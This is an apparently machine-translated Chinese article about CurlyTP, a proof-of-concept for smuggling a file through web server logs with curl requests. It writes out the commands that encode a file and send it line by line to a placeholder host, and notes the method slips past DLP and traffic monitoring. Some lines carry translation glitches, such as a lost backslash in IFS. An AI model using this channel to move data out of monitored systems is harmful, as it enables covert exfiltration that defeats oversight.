通过服务器日志交换秘密消息

根据维基百科的定义,dead drop 是一种阴谋工具,用于使用秘密位置在人们之间交换信息或某些物品。 这个想法是人们永远不会见面,但他们仍然交换信息以维护操作安全。

隐藏地点不应引起注意。 因此,在线下世界中,他们经常使用谨慎的东西:墙上的一块松动的砖块、图书馆的书或树上的空洞。

互联网上有许多加密和匿名工具,但使用这些工具的事实引起了人们的关注。 此外,它们可能会在公司或政府层面被封锁。 该怎么办?

开发商 Ryan Flowers 提出了一个有趣的选择 - 使用任何网络服务器作为藏身之处。 如果你想一想,网络服务器是做什么的? 接收请求、发出文件并写入日志。 它记录所有请求, 即使是不正确的!

事实证明,任何 Web 服务器都允许您在日志中保存几乎所有消息。 花儿想知道如何使用它。

他提供了这个选择:

  1. 获取一个文本文件(秘密消息)并计算哈希值(md5sum)。
  2. 我们对其进行编码(gzip+uuencode)。
  3. 我们故意向服务器发出错误的请求来写入日志。

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

要读取文件,您需要以相反的顺序执行这些操作:解码并解压缩文件,检查哈希值(哈希值可以通过开放通道安全地传输)。

空格替换为 =+=这样地址中就没有空格。 该程序被作者称为 CurlyTP,使用 Base64 编码,就像电子邮件附件一样。 使用关键字发出请求 ?transfer?以便收件人可以轻松地在日志中找到它。

在这种情况下,我们在日志中看到了什么?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

如前所述,要接收秘密消息,您需要按相反顺序执行操作:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

该过程很容易实现自动化。 Md5sum 匹配,文件内容确认所有内容均已正确解码。

方法非常简单。 “这个练习的目的只是为了证明文件可以通过无辜的小网络请求传输,并且它可以在任何具有纯文本日志的网络服务器上运行。 从本质上讲,每个网络服务器都是一个藏身之处!”弗劳尔斯写道。

当然,该方法仅在收件人有权访问服务器日志的情况下才有效。 但这种访问是由许多托管服务商提供的。

如何使用它?

Ryan Flowers 表示,他不是信息安全专家,也不会编制 CurlyTP 可能用途的列表。 对他来说,这只是一个概念证明,我们每天看到的熟悉的工具可以以非常规的方式使用。

事实上,这种方法比其他服务器“隐藏”有很多优点,例如 数字死点 или 海盗宝盒:它不需要服务器端的特殊配置或任何特殊协议 - 并且不会引起流量监控人员的怀疑。 SORM 或 DLP 系统不太可能扫描 URL 来查找压缩文本文件。

这是通过服务文件传输消息的方式之一。 你可以记得以前一些先进的公司是如何放置的 HTTP 标头中的开发人员职位 或者在 HTML 页面的代码中。

通过服务器日志交换秘密消息

这个想法是只有 Web 开发人员才会看到这个复活节彩蛋,因为普通人不会查看标头或 HTML 代码。

通过服务器日志交换秘密消息

来源: habr.com

添加评论